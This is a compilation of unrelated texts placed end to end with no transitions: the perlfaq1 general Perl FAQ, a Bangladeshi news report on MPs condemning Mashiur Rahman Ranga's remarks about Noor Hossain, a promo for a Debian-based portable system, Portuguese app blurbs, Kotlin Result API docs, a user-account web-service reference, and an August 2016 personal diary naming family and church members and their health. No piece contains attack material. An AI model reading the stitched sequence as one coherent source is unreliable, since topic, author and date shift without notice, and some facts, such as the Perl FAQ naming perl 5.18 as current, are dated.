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perlfaq1 - General Questions About Perl
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This section of the FAQ answers very general, high-level questions about Perl.
Perl is a high-level programming language with an eclectic heritage written by Larry Wall and a cast of thousands.
Perl's process, file, and text manipulation facilities make it particularly well-suited for tasks involving quick prototyping, system utilities, software tools, system management tasks, database access, graphical programming, networking, and web programming.
Perl derives from the ubiquitous C programming language and to a lesser extent from sed, awk, the Unix shell, and many other tools and languages.
These strengths make it especially popular with web developers and system administrators. Mathematicians, geneticists, journalists, managers and many other people also use Perl.
The original culture of the pre-populist Internet and the deeply-held beliefs of Perl's author, Larry Wall, gave rise to the free and open distribution policy of Perl. Perl is supported by its users. The core, the standard Perl library, the optional modules, and the documentation you're reading now were all written by volunteers.
The core development team (known as the Perl Porters) are a group of highly altruistic individuals committed to producing better software for free than you could hope to purchase for money. You may snoop on pending developments via the archives or read the faq, or you can subscribe to the mailing list by sending<EMAIL_ADDRESS>a subscription request (an empty message with no subject is fine).
While the GNU project includes Perl in its distributions, there's no such thing as "GNU Perl". Perl is not produced nor maintained by the Free Software Foundation. Perl's licensing terms are also more open than GNU software's tend to be.
You can get commercial support of Perl if you wish, although for most users the informal support will more than suffice. See the answer to "Where can I buy a commercial version of Perl?" for more information.
(contributed by brian d foy)
There is often a matter of opinion and taste, and there isn't any one answer that fits everyone. In general, you want to use either the current stable release, or the stable release immediately prior to that one. Currently, those are perl5.18.x and perl5.16.x, respectively.
Beyond that, you have to consider several things and decide which is best for you.
If things aren't broken, upgrading perl may break them (or at least issue new warnings).
The latest versions of perl have more bug fixes.
The Perl community is geared toward supporting the most recent releases, so you'll have an easier time finding help for those.
Versions prior to perl5.004 had serious security problems with buffer overflows, and in some cases have CERT advisories (for instance, http://www.cert.org/advisories/CA-1997-17.html ).
The latest versions are probably the least deployed and widely tested, so you may want to wait a few months after their release and see what problems others have if you are risk averse.
The immediate, previous releases (i.e. perl5.14.x ) are usually maintained for a while, although not at the same level as the current releases.
No one is actively supporting Perl 4. Ten years ago it was a dead camel carcass (according to this document). Now it's barely a skeleton as its whitewashed bones have fractured or eroded.
There are really two tracks of perl development: a maintenance version and an experimental version. The maintenance versions are stable, and have an even number as the minor release (i.e. perl5.18.x, where 18 is the minor release). The experimental versions may include features that don't make it into the stable versions, and have an odd number as the minor release (i.e. perl5.19.x, where 19 is the minor release).
In short, Perl 4 is the parent to both Perl 5 and Perl 6. Perl 5 is the older sibling, and though they are different languages, someone who knows one will spot many similarities in the other.
The number after Perl (i.e. the 5 after Perl 5) is the major release of the perl interpreter as well as the version of the language. Each major version has significant differences that earlier versions cannot support.
The current major release of Perl is Perl 5, first released in 1994. It can run scripts from the previous major release, Perl 4 (March 1991), but has significant differences.
Perl 6 is a reinvention of Perl, it is a language in the same lineage but not compatible. The two are complementary, not mutually exclusive. Perl 6 is not meant to replace Perl 5, and vice versa. See "What is Perl 6?" below to find out more.
See perlhist for a history of Perl revisions.
Perl 6 was originally described as the community's rewrite of Perl 5, however as the language evolved, it became clear that it is a separate language, but in the same language family as Perl 5.
Perl 6 is not intended primarily as a replacement for Perl 5, but as its own thing - and libraries exist to allow you to call Perl 5 code from Perl 6 programs and vice versa.
Contrary to popular belief, Perl 6 and Perl 5 peacefully coexist with one another. Perl 6 has proven to be a fascinating source of ideas for those using Perl 5 (the Moose object system is a well-known example). There is overlap in the communities, and this overlap fosters the tradition of sharing and borrowing that have been instrumental to Perl's success.
If you want to learn more about Perl 6 read the Perl 6 developers page at http://www.perl6.org/ and get involved.
"We're really serious about reinventing everything that needs reinventing." --Larry Wall
Production releases, which incorporate bug fixes and new functionality, are widely tested before release. Since the 5.000 release, we have averaged about one production release per year.
The Perl development team occasionally make changes to the internal core of the language, but all possible efforts are made toward backward compatibility.
Recently, the plan has been to release a new version of Perl roughly every April, but getting the release right is more important than sticking rigidly to a calendar date, so the release date is somewhat flexible. The historical release dates can be viewed at http://www.cpan.org/src/README.html.
Even numbered minor versions (5.14, 5.16, 5.18) are production versions, and odd numbered minor versions (5.15, 5.17, 5.19) are development versions. Unless you want to try out an experimental feature, you probably never want to install a development version of Perl.
The Perl development team are called Perl 5 Porters, and their organization is described at http://perldoc.perl.org/perlpolicy.html. The organizational rules really just boil down to one: Larry is always right, even when he was wrong.
No, Perl is easy to start learning --and easy to keep learning. It looks like most programming languages you're likely to have experience with, so if you've ever written a C program, an awk script, a shell script, or even a BASIC program, you're already partway there.
Most tasks only require a small subset of the Perl language. One of the guiding mottos for Perl development is "there's more than one way to do it" (TMTOWTDI, sometimes pronounced "tim toady"). Perl's learning curve is therefore shallow (easy to learn) and long (there's a whole lot you can do if you really want).
Finally, because Perl is frequently (but not always, and certainly not by definition) an interpreted language, you can write your programs and test them without an intermediate compilation step, allowing you to experiment and test/debug quickly and easily. This ease of experimentation flattens the learning curve even more.
Things that make Perl easier to learn: Unix experience, almost any kind of programming experience, an understanding of regular expressions, and the ability to understand other people's code. If there's something you need to do, then it's probably already been done, and a working example is usually available for free. Don't forget Perl modules, either. They're discussed in Part 3 of this FAQ, along with CPAN, which is discussed in Part 2.
Perl can be used for almost any coding problem, even ones which require integrating specialist C code for extra speed. As with any tool it can be used well or badly. Perl has many strengths, and a few weaknesses, precisely which areas are good and bad is often a personal choice.
When choosing a language you should also be influenced by the resources, testing culture and community which surrounds it.
For comparisons to a specific language it is often best to create a small project in both languages and compare the results, make sure to use all the resources of each language, as a language is far more than just it's syntax.
Perl is flexible and extensible enough for you to use on virtually any task, from one-line file-processing tasks to large, elaborate systems.
For many people, Perl serves as a great replacement for shell scripting. For others, it serves as a convenient, high-level replacement for most of what they'd program in low-level languages like C or C++. It's ultimately up to you (and possibly your management) which tasks you'll use Perl for and which you won't.
If you have a library that provides an API, you can make any component of it available as just another Perl function or variable using a Perl extension written in C or C++ and dynamically linked into your main perl interpreter. You can also go the other direction, and write your main program in C or C++, and then link in some Perl code on the fly, to create a powerful application. See perlembed.
That said, there will always be small, focused, special-purpose languages dedicated to a specific problem domain that are simply more convenient for certain kinds of problems. Perl tries to be all things to all people, but nothing special to anyone. Examples of specialized languages that come to mind include prolog and matlab.
One good reason is when you already have an existing application written in another language that's all done (and done well), or you have an application language specifically designed for a certain task (e.g. prolog, make).
If you find that you need to speed up a specific part of a Perl application (not something you often need) you may want to use C, but you can access this from your Perl code with perlxs.
"Perl" is the name of the language. Only the "P" is capitalized. The name of the interpreter (the program which runs the Perl script) is "perl" with a lowercase "p".
You may or may not choose to follow this usage. But never write "PERL", because perl is not an acronym.
(contributed by brian d foy)
JAPH stands for "Just another Perl hacker,", which Randal Schwartz used to sign email and usenet messages starting in the late 1980s. He previously used the phrase with many subjects ("Just another x hacker,"), so to distinguish his JAPH, he started to write them as Perl programs:
print "Just another Perl hacker,";
Other people picked up on this and started to write clever or obfuscated programs to produce the same output, spinning things quickly out of control while still providing hours of amusement for their creators and readers.
CPAN has several JAPH programs at http://www.cpan.org/misc/japh.
(contributed by brian d foy)
Appeal to their self interest! If Perl is new (and thus scary) to them, find something that Perl can do to solve one of their problems. That might mean that Perl either saves them something (time, headaches, money) or gives them something (flexibility, power, testability).
In general, the benefit of a language is closely related to the skill of the people using that language. If you or your team can be faster, better, and stronger through Perl, you'll deliver more value. Remember, people often respond better to what they get out of it. If you run into resistance, figure out what those people get out of the other choice and how Perl might satisfy that requirement.
You don't have to worry about finding or paying for Perl; it's freely available and several popular operating systems come with Perl. Community support in places such as Perlmonks ( http://www.perlmonks.com ) and the various Perl mailing lists ( http://lists.perl.org ) means that you can usually get quick answers to your problems.
Finally, keep in mind that Perl might not be the right tool for every job. You're a much better advocate if your claims are reasonable and grounded in reality. Dogmatically advocating anything tends to make people discount your message. Be honest about possible disadvantages to your choice of Perl since any choice has trade-offs.
You might find these links useful:
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This documentation is free; you can redistribute it and/or modify it under the same terms as Perl itself.
Irrespective of its distribution, all code examples here are in the public domain. You are permitted and encouraged to use this code and any derivatives thereof in your own programs for fun or for profit as you see fit. A simple comment in the code giving credit to the FAQ would be courteous but is not required.
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Ranga slated in parliament for snide remarks about anti-autocracy hero Noor Hossain
by bdnews24.comThe Jatiya Party has disowned its Secretary General Mashiur Rahman Ranga’s snide remarks about Noor Hossain, who was martyred in a movement for democracy that ousted the party’s military strongman HM Ershad.
Jatiya Party Presidium Member Kazi Firoz Rashid also blamed the ruling Awami League for patronising Ranga by making him state minister during the 2014-18 Grand Alliance government.
 We didn’t indulge him. This parliament did. He is nothing, but was made a minister suddenly,” Rashid told parliament on Tuesday.
“He was a Jubo Dal (the BNP’s youth front) politician. How dare he speak about Bangabandhu in this way?” asked Firoz, who was a leader of Bangladesh Chhatra League in his student days,
Ranga has apologised following intense criticisms for his comments calling Noor Hossain “a yaba and phensedyl addict”, drugs that were yet to hit Bangladesh before his killing, at a party event on Nov 10. He also slated Prime Minister Sheikh Hasina at the programme.
Hasina was present in parliament when the MPs talked about Ranga’s remarks. Ranga, the MP from the Jatiya Party’s stronghold Rangpur-1, skipped the session.
Senior Awmi League leader Tofail Ahmed told parliament Ranga would not have made such comments about Hasina and the Father of the Nation had the Jatiya Party leader been “mentally sound”.
Sultan Muhammed Mansur Ahmed, who was a student leader during the anti-Ershad movement, said Ranga’s comments were “shameful for parliament” since he is an MP.
“He must apologise in parliament,” Sultan Mansur demanded.
The Jatiya Party’s Mujibul Haque Chunnu said, “We don’t own Ranga’s comments. These are his personal remarks.”
He claimed the Jatiya Party has sympathy for Noor Hossain and Ershad had personally apologised to his family.
“We are ashamed, pained and insulted by his remarks,” said Rashid.
He also said it would have been difficult for Ranga to win election without the Awami League’s support.


A basic computer education is required today to effectively work in any discipline. Whether you're a doctor or a lawyer or an teacher you will need to use computers for your day to day tasks. The actual use may be as simple as responding to emails or it may be as complex as designing drafts for mechanical components. Proficiency in computers means an increased productivity in your work and improved prospects of getting a job.
Unfortunately though many of the proprietary systems that are used in the industry today are out of reach to the young people due to their high proprietary costs. While a fledgling business may be able to afford these tools is difficult for educational institutes , students and hobbyists to be able to pay for the high licencing fees.
Another problem is presented by the shared hardware. It may be that a single computer lab has to provide access to multiple students studying different courses. A mechanical engineering student might be using the same lab that a electronic engineering student does. From the point of view of hardware it is cost effective to share the resources. After all its not like a workstation is occupied all day. Such a sharing model does indeed lead to a more efficient utilization of the machines. But when it comes to the applications running on a system things do get a bit unmanageable.
As a college expands by adding more disciplines the strain on hardware increases. While the ME student might want to use CAD tools, electronic engineering student would want to use tools for designing chips or for simulating an electonic circuit.
Each tool comes with its own quirks. Having multiple such tools on the same machine without any logical separation between access leads to confusion or in severe cases a data loss. We not only need multiple people to use the same hardware but we also need keep the data and applications for each user separate.
As a rundown of what we've discussed so far is we need tools that are:-
Sparvk is a portable distribution of debian based opensource operating system. It is opensource (free / non proprietary / community supported) that can run off a pendrive.
Advantages? Well here you go:-
All kinds!
Looking for CAD tools? Try free cad or libre cad Looking for floor planning tools? How about sweet home 3d? Want some graphic designing software? Well there's inkscape and gimp and blender and well a lot more. Want to try some programming? Choose your language pthon, lua, c, java and more Interested in getting your hands dirty with some AI tools . We've got you covered here too.
Sparvk makes for an excellent tool for learning computers because its cheap, reusable and portable. And whats more not only can you use it to learn computer you can also use it to learn from computers .
YES!
Programs that come packaged in with sparvk have been built upon decades of work by community. And the people who have built these applications have compiled in a lot of knowledge into their software. Say you've always been interested in floor planning but you never knew where to start. No problem simply download a floor planning app like sweethome 3d and follow along with their in built examples. Then take it a step forward by planning your room. Then your home. And then your city. Share your plan files with other people. let them simulate your designs on their own computer and feel the magic of your design.
With sparvk there's an endless list of things that you can do. Your only limit is your imagination.


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Um App de Finanças feito em React-native, que tem como objetivo ,fazer o registro dos gastos ou ganhoos diarios, fazendo o filtro dos seus dados por sua data respectiva
App para fazer compras simples
App tem a funcionalidade de fazer armazenamento de reservas para viagens


sealed class Result<out V, out E>
Used to represent whether a sdk operation was successful or encountered an error
V
- Type of the value returned for a successful operation
data class Failure<out E> : Result<Nothing, E>
Operation failed and returned an associated Exception |
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data class Success<out V> : Result<V, Nothing>
Operation was successful and return a associated value of type V |
val isError: Boolean
Returns true if the result is a failure |
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val isSuccess: Boolean
Returns true if the result is a success |
fun getErrorOrNull(): E?
Returns the associated exception error of type E if operation encountered a failure, otherwise null |
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fun getOrThrow(): V
Returns the associated value of type V if operation was successful, otherwise throws the failure exception |
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fun getValueOrNull(): V?
Returns the associated value of type V if operation was successful, otherwise null |
fun <E> failure(error: E): Failure<E>
Helper to build a Failure operation |
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fun <V> of(function: () -> V): Result<V, Exception>
Result built from the result of the function |
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fun <V> success(value: V): Success<V>
Helper to build a Success operation |
data class Failure<out E> : Result<Nothing, E>
Operation failed and returned an associated Exception |
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data class Success<out V> : Result<V, Nothing>
Operation was successful and return a associated value of type V |


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Method to cause an update of authorization data cached in user's own account record, return a collection of information about the web service, and also return a security token to authenticate the web service to the client app.
| Param Name | Data | Length | Required | Description |
|---|---|---|---|---|
| Return Name | Data | Description | ||
| UserSelf.Login.base_DEFAULT | Text | returns the user and web service info (multiple elements) |
Method to get the list of roles assigned for the user's own account record
| Param Name | Data | Length | Required | Description |
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| Return Name | Data | Description | ||
| UserSelf.GetRoles.base_DEFAULT | Text | returns a comma-delimited list of roles to which the user account has been assigned |
Method to get the list of datagroups assigned for both read and write access to the user's own account record
| Param Name | Data | Length | Required | Description |
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| Return Name | Data | Description | ||
| UserSelf.GetGroups.base_ReadList | Text | returns a comma-delimited list of datagroups to which the user account has been assigned read access | ||
| UserSelf.GetGroups.base_WriteList | Text | returns a comma-delimited list of datagroups to which the user account has been assigned write access |
Method to query for certain data about the user's own account record
| Param Name | Data | Length | Required | Description |
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| SchemaFlag | Text | 10 | true | flag value to return the tabular result data with or without the DataTable metadata |
| Return Name | Data | Description | ||
| UserSelf.GetInfo.base_DEFAULT | DataTable | selected information about the user account |
Method to query for certain data about the user's own account record
| Param Name | Data | Length | Required | Description |
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| SchemaFlag | Text | 10 | true | flag value to return the tabular result data with or without the DataTable metadata |
| Return Name | Data | Description | ||
| UserSelf.GetUserGroupList.base_DEFAULT | DataTable | list of groups to which the user account has access |
Method to update certain values of the user's own account record
| Param Name | Data | Length | Required | Description |
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| FirstName | Text | 10 | true | the first name of the account record |
| MiddleName | Text | 10 | true | the middle name of the account record |
| LastName | Text | 50 | true | the last name of the account record |
| Text | 50 | true | the email address for the account record | |
| Return Name | Data | Description | ||
| UserSelf.Save.base_DEFAULT | Text | returns the action and result code of the update |
Method to update the password of the user's own account record
| Param Name | Data | Length | Required | Description |
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| Password | Text | 10 | true | the new password for the user account |
| Return Name | Data | Description | ||
| UserSelf.ChangePassword.base_DEFAULT | Text | returns the action and result code of the update |


Monday, August 1, 2016
I woke about 3am and tried to go back to sleep but finally got up at 4:50am. My legs and feet feel some better, but they still have an ache that starts in my feet and goes up to the top of the thigh. I read another chapter in the Book of Mormon, had my morning prayers and then worked on the computer, starting another month in my journal. As I start this new month, it just amazes me that another month has gone by. Mae came out about 6:45am. I feel bad that she worries so much about me, especially when she doesn’t sleep well most nights. I sure have to count my blessings, especially with such a wonderful wife as I have! Mae needed the computer so I got off. She is figuring our budget and I guess that takes priority. I watched a western movie on TV while Mae was working on the computer. I was able to complete the list of our families Birthday and Wedding Anniversary, that Mae had put together and wanted me to rearrange the print layout of the list. I was able to transcribe several more day entries from my Diary, on to the computer. I also sent the following E-mail to our children.
Grant and Stacy sent us a nice Thank You card expressing appreciation to all of our family for the Beautiful Flower arrangement that we sent to the funeral, as well as to our families support in attending the funeral. They asked us if we could send their Thank You on to each of our family as they didn't have Home addresses or E-Mail addresses for all of us.
We also want to thank each of you for the support and love you demonstrated in the passing of Uncle Bob. A special thanks to David and Shauna for taking care and ordering the flowers.
We are proud of our family and for the love and support you give to us.
Love you all!!!!!
Mom and Dad
Mae and I went over our budget for June and July, which in most cases was exactly what happened, we went over our budget. We read a couple of articles in the July Ensign. We are having problems keeping up on our reading. We started to bed before 10pm. My feet are swollen tonight and still ache. I sometimes wonder how much of it is in my mind, but if so I sure wish I could change my mind.
Tuesday, August 2, 2016
Mae woke about 5am with leg cramps and went into the front room where she slept in the recliner. I got up and read from the Book of Mormon as usual. As I read 3 Nephi and especially chapter 7 this morning, I feel that the very same things are happening in our government both nationally and locally. How much longer can it continue???? I tried to lie back down, but couldn’t relax and so I got up and showered and shaved. Mae soon woke and started her normal morning routine. My feet and legs are bothering me quite a lot today. I have taken Ibuprofen to get some relief. After breakfast, I laid down in the recliner and watched the show “Saints and Soldiers – the Void” on Netflix. It is a very good show. I went with Mae to pay the rent, take ward “High Lites” to 3 Sisters in the Ward, picked up the dry cleaning and took a suit to be cleaned and then went grocery shopping. Winco has riding shopping cart and so I took part of the shopping list and picked up those items, while Mae used a regular shopping cart and picked up the other items. We also practiced using our phones, while shopping, to talk to each other. I do enjoy being with Mae and she is my Eternal Sweetheart! This afternoon Mae prepared dinner of Lasagna, vegetables, toss salad and garlic bread. We had invited Dennis and Judy Patterson over for dinner before they move from the Ward. They will be moving to South Ogden, into a Condominium with a full basement. They have a daughter and her son who will be moving into their basement. Dinner was excellent, as normal for Mae, and we had a very enjoyable evening. We did play some games after eating. We sure hope things work out for them. I have been working on my Diary getting it transferred into our computer. This evening I finished the final entry of the five years. I certainly understand what President Kimball meant when he said that a Five Year Diary wasn’t worth much. As I have retyped the entries I have tried to make corrections and additions that will give these entries greater meanings and more detail. I have also been able to remember and enter greater detail to many of the daily entries, as well as making the entries readable, due to my hand writing in such small space and small writing. It is now 10:30pm and we are going to bed.
Wednesday, August 3, 2016
Mae hadn’t slept the best and so we slept in for a while. I cooked scrambled eggs for breakfast. Mae worked on her presentation about her Grandmother and Grandfather Porter. I was hurting, and so rested in the recliner and read an article from the Ensign. Brother Klaus Decker came by to see me, as he heard that I wasn’t feeling the best. We visited for a while. That was special of him to be concerned about me. I took a nap and then we had some lunch. Mae and I went over to Jennie Porter’s for me to get a scan and see what I needed to do with my health. We never finished there until 5:45pm. We then stopped at Kent’s grocery store for a few groceries. As we left the store, Mae told me that they had a good sale on strawberries. I turned around and Mae went back in and bought a flat of strawberries plus a couple of other items. We then went to Good Earth where Mae went in and purchased a few items. When we got home, we watched a show on Netflix while we ate our dinner. Mae then wanted to wash and freeze ¾ of the flat of strawberries so I helped her. We started to bed about 10:30pm. It was much later when we got to bed.
Thursday, August 4, 2016
I woke shortly after 4am, so went back to bed. When I went back to bed, I remembered putting my Cpap back on, but later I remembered checking to see if Mae was in bed.  We got up and got going quite fast as Gail and the children are planning on being here at 9:30am, as she had an appointment with a hair dresser at 10am. She didn’t get here until 10 to 10 and left Ben and Rachel here with us.  Mae took them to the Roy City Park to play. I filled our water containers and took a 2 gallon bottle over to Jackie. Mae prepared a nice lunch for all of us while Gail and Matt were gone. Before lunch, I played a game of Parcheesi with Ben and Rachel. Gail & Matt came and we had lunch. After lunch, we played a game of Skip-Bo and then a game of Old Pig. Gail and the children left between 4 and 4:30pm. I reset the timer on our sprinkler system. I hope that I set it right. I worked on Mae’s presentation, trying to put it on Microsoft Power Point. I became very frustrated with the system as they have made changes to it and I cannot get it to come out like I want it to. Yesterday, Jennie told me that I was dehydrated and needed to drink more water. I have tried to drink often, but it seems that I just have to keep running to the bath room. Mae read her scriptures while I tried working on this presentation. I quit, and we watched a wonderful true story movie called “Marie Storie” it is about a deaf and dumb girl who was like a wild animal. She was brought to Notra Dame and a num worked with her for 9 months and finally had success teaching her brail and opened the world for her. The num had bad health and finally died, but Marie kept learning from the other nuns and helped other young girls who came there. It is quite a story, very moving. As we exited Netflix, a western movie with Charleston Heston was on and we watched the end of it. It is now almost midnight. Goodnight.
Friday, August 5, 2016
I got up at 6:45am and started my day. I would like to go fishing but kind of feel depressed over it. Mae soon had breakfast ready. After breakfast, I called Ron and we set a date of going fishing on Aug. 10th and we are thinking about going up to Heber reservoir this time. I went down and got our mail hoping that our check for Marianne Ray’s air conditioner and also the check from Beneficial Life, but neither came today. I returned the magnetic inserts to Lee Gifford as they won’t work in my slippers. While there, I picked vegetables from the garden and took them a zucchini squash. I went to Durk’s and picked up some sprinkler parts. They suggested that I bring a sample of our water to them and they will test it to see if our softener is working. I went to Best Buy and purchased a Thumb Drive and a Personal Cloud Storage unit to add to our computer. This afternoon Bishop Presnell stopped in to see how I am doing and to check on two of our Home Teaching families. Bishop Jim and Ravee Mullins also stopped by to see how I am doing. That was special of both of them. With Mae’s help, I got my journal files transferred to our lap top computer from our back-up external file. With the crash of our previous lap top computer we are sure thankful for the backup file and the many files that David was able to salvage for us. I started writing “My memories of Bob” and spent some time on that.
Saturday, August 6, 2016
This morning I woke at 6am and did some studying in the scriptures. Mae slept until 7am. This morning I replaced 2 sprinkler heads. I had Mae get me some more parts at Durk’s and have our water checked for softness and it failed with the hardness being 10, where as it should be almost a 0 to 2. I mowed the lawns today, they were looking quite bad. I talked to Jarred concerning the test and he gave me two phone numbers to contact and they could come out and check our softener. This afternoon I added a sprinkler head in front to try to do a better coverage. I grilled chicken and hamburgers for dinner this evening. Scott, Michelle and their family came over for dinner. Mae had made Funeral Potatoes and a fruit salad to go with the grilled chicken and burgers. After dinner Scott and I hooked up the “Cloud” and then Scott started getting it downloaded. He spent over 3 hours trying to get it to work and was about to give up when he recognized one switch setting on our computer that wasn’t letting anything else get access on our computer. Michelle was trying to get our new phones set up for us. The kids played and they were very loud. It was 10PM when Scott and Michelle finished getting the Cloud and the phone set up. They left for home at 10PM. I helped Mae straightened up the house. Mae did up the dishes while I entered my journal. We are both very tired but still appreciated Scott and Michelle’s help.
Sunday, August 7, 2016
We were up before 7:30am. I am feeling fairly well and plan on attending our meetings. I am concerned about fasting today with the need to take pills and water. Mae is going to fast, but I prepared me some breakfast. Bishop Mullins stopped in this morning at 9am to see how I am doing. We got taking about my journals and how I am keeping them. He asked the same question that I often asked, that is, “What is the good of keeping the journals?” and the only answer that I could give is “That a Prophet, President Kimble, has told us that we should keep them.” That is the reason I do this because I often wonder if my children or their children will ever refer to them. Mae worked on her presentation for the Byron Porter Reunion, and I set up the projector so that she can go through her presentation. We did watch the Tabernacle Broadcast this morning and then Mae started working on her presentation. She has learned quite a few abilities of the new presentation features. We attended our meetings and enjoyed them. I missed Sunday school so that Lane Johnson and I could take the Sacrament to some of the home bound. Lane has a meeting to attend at 4:14PM so by going during Sunday school, we should be able to accomplish our assignment and still give Lane time to attend his meeting. However, Brother Johnson of the Bishopric stopped us before we left the building and wanted to visit with Lane. That put us behind but we did visit two homes. I had Lane take me home and let me off and he went to this meeting. I called Brother Klaus Decker and he went with me to catch the last two. Mae was busy on her presentations when I got home. We had some dinner and then she went back to work on the presentations. I watched two shows on TV and then got ready for bed. After Mae quit on the computer, I entered this journal entrance before we went to bed.
Monday, August 8, 2016
I woke before 4am and then went back to bed. Mae spoke to me telling me that she hadn’t been able to sleep so to let her sleep longer but no longer than 10am. I got up at 7:15am and tried to be quiet. Her phone and the house phone started ringing before 8am and woke her. Somehow, we have got to stop these calls from coming in. Most of them are coming from unknown sources or just advertisings. I called on our water softener and was given help on resetting the unit. Mae left at 10:30 to go shopping with Diann Graf at the PX on base. She was busy the rest of the day trying to get some laundry done, meals and get her presentation ready for the Porter Reunion at Layton Park and Surf-n-Swim. She hurried to get dinner ready so we could eat before we left, as she would be giving her power point presentation while the family members were eating. When we got there, I started setting up for Mae’s presentation, but forgot to bring the power cords for the computer, so had to drive back home to get them. When we got it set up, Jerry had his sound system set up for her. She waited until after 6 pm to begin as not many came for the dinner, most came just for swimming. It went well anyway, and those who were there, enjoyed hearing the memories of Grandpa and Grandma Porter and the pictures & text in the P.P. Presentation. We enjoyed watching Scott’s family swim. They had Maddi and Jessie with them. Gail was there with her children as she has been down all week with doctor appointments and hair appointment and her nephew’s wedding. She will leave early tomorrow morning to go home to Kimberly, Idaho. Mae & I enjoyed visiting with cousins, siblings and family while others swam.
Tuesday, August 9, 2016
Mae went to the Dentist this morning to check on a sore spot in her mouth. He found it was a problem with her dentures and had to make a correction with them. She also went to T-mobile and they helped her find out why we keep getting a beep on our phones. There was a setting that we had not entered that was causing it. She went to the dry cleaners and picked up my suit. When she got home, we went into the Temple. Bishop and Ravee Mullins also attended the session. During the session, I got drowsy and so took a mint. Very shortly after eating it, I started into pain in various parts of my body. After the Temple Session, Mae needed some things from Costco. I let her out at the front door and then I got gas in the car. I was then able to find a parking spot near the front door so parked the car and I went inside and went to a table and waited for Mae to finish shopping. This evening we went V.T./H.T. to Sister Leah Neilson and to Sister Marianne Ray. We then came home and got things ready for me to go fishing in the morning.
Wednesday, August 10, 2016
I got up at 2am and got ready to go fishing with Ron Graf. Ron was out here before 4am. We hooked up the boat to his truck and left shortly after. We went to the east dock of Strawberry Reservoir and started fishing there. Ron did catch two at that site, but the one was quite small so he let it loose. We tried to fish through the canyon, but again didn’t get anything. We came back to the east end and there we did get a little more action. I did get a couple of strikes, but lost the one just before getting to the boat. We did have some wind, but overall it was quite a nice day. About 1pm we had a rain storm come in, but it didn’t do much. We had put on our rain gear and when it started to sprinkle, the rain on my cap seemed to make quite a tapping noise. At first I thought that something was wrong with the boat. It is amazing to me that mechanical noises are so loud to me. We gave up and loaded the boat. Ron wiped the boat down while I cleaned the fish. Ron drove and after going through Heber, I fell asleep. Ron missed the turn that takes us over to Weber Canyon and came down Parleys Canyon. That took us a little longe, but we got home about 5PM. Ron helped me cover the boat and take it down to the storage. I showered and cleaned up before we went V.T./H.T. to Sister Shirley Lemon and to Brother and Sister Hilton. I was very tired when we got home so we soon went to bed.
Thursday, August 11, 2016
We ate breakfast and then went down to the V.A. Hospital in Salt Lake. The doctor again gave me a hearing examination. The tests showed about the same thing as last time but he still doesn’t know why my hearing continues to change. He said that he could either order hearing aids now or do more testing to try to find out the reason why my hearing changes. I feel like hearing aids now will be a waste of time and money. We forgot to get the previous testings, that I have had done, so we will try to get those to him. I didn’t feel good when we got home, so I soon laid down and took a nap. Mae prepared a nice dinner to take down to the Hilton’s, but when we took it down, they were gone, but Mike was there so she left the dinner with him. He thought they would soon be home. Mae had also made us a nice dinner. I worked on my journal getting it caught up.
Friday, August 12, 2016
After getting up, Mae cooked us a fish breakfast. I got a call from Brother Lee Gifford asking me if I would help him administer to Sister Lemon but then he called back and said that her Grandson had came to give her a blessing. Mae and I went shopping and purchased new Led lights for our kitchen florescent light fixture. The new tubes didn’t solve the problem, as we also needed a new ballast. When I installed new tubes and the new ballast, the light shown so much better that we decided to replace the 2nd fixture. While out shopping, we looked at new floor covering for the kitchen, the hallway and the 2nd bath. This evening we finished reading the book “The Message” by Lance Richardson. Although we read it sometime ago, we still really enjoyed the message. Mae wrote up the experiences I am having with my hearing and sent it to Dr. Howell at the Veterans Hospital in Salt Lake. She also sent him test records and experiences we have had with other Audiologists. I am having quite a lot of pain throughout my body but that is still a question as to what is happening.
Saturday, August 13, 2016
After getting up and having breakfast, I put a new ballast and new Led tubes in the 2nd kitchen ceiling fixture. That took me quite a while as my feet are hurting this morning. Mae also tried to get help from Best Buy with a problem we are having with our MyCloud. She tried for almost an hour, but she could never get them to answer her call. I filled water bottles and took a 2 gallon bottle over to Jackie. I mowed our lawn and then went in and rested most of the afternoon. I took a nap, but woke up with my feet hurting. This evening we attended our Adult Session of Stake Conference. The theme was on Missionary Work, it was a very enjoyable meeting. Following the meeting, I asked Bishop Mullins and Brother Lee Gifford if they would give me a Priesthood Blessing. I appreciated them doing this for me. I now pray that I can have the faith to trust in the Lord’s will.
Sunday, August 14, 2016
We got up shortly after 6:30 this morning so that we could be at Stake Conference which started at 9am. It was a very good meeting with Elder Peterson of the 70’s presiding. I had some trouble hearing the speakers. It was also chilly in the Tabernacle and so I put my suit coat around Mae most of the meeting. My legs gave me quite a bit of pain through the meeting and after we got home, I watched a devotional talk on the BYU channel 21, a talk by Linda Orchard, which gave me great encouragement and hopefully courage to keep going. (https://video.byui.edu/media/Linda+Orchard+%22Think+Our+Lot+is+Hard%E2%80%9D/0_0btc3heq/11602882)
Bishop James Mullin brought me some cream (Voltaren Gel) for me to try. I applied it to my right ankle, which is hurting me the most today, and it seem to have relived some of the pain. We started watching a movie on Netflix that wasn’t rated and seemed to be a good movie, but after getting into it the Lord’s name was taken a couple of times so we just shut it off. We did watch a good movie on the Hallmark channel.
Monday, August 15, 2016
I got up about 15 minutes to 5 and went to sleep in the recliner in the living room, so I wouldn’t wake Mae, but the alarm went off at 6:15 am and woke Mae anyway. (It was set for yesterday, but went off again this morning). I read scriptures and we ate breakfast about 9:30 pm. Bishop came about 9:45 to check to see how I was doing. My feet feel quite a bit better so I wanted to get out and work on the doors for the storage area under the trailer. I worked from 11 am to 8 pm and only quit to come in for meals. Mae did the laundry, cleaned the house and organized files and papers. I am tired.
Tuesday, August 16, 2016
I did some preparation to start working on the trailer. I checked our mail for the letter from Beneficial Life but it hadn’t come. I stopped at Peterson Medical to check on our bill with them but they couldn’t help me. I then went down to Good Earth and checked on our order for my cereal, but it hasn’t come in yet. I worked on the trailer most of the day. Bishop Jim and Sister Mullins stopped by and visited for a few minutes. They sure show a lot of concern over my health. Brother Lee and Sister Glory Gifford came over and had dinner with us.  Before going to bed tonight, we had watched a show that showed a young couple go to be together although they were not married, but just because they decided that they were in love. This is the “Worldly Trend” now. Then Mae also showed me a message on our phone that told that Joshua and his partner were married. I think of our children that have left the Church and I get discouraged. Add to that and I think of the evil that is taking place in our government and especially in the upcoming election.
Wednesday, August 17, 2016
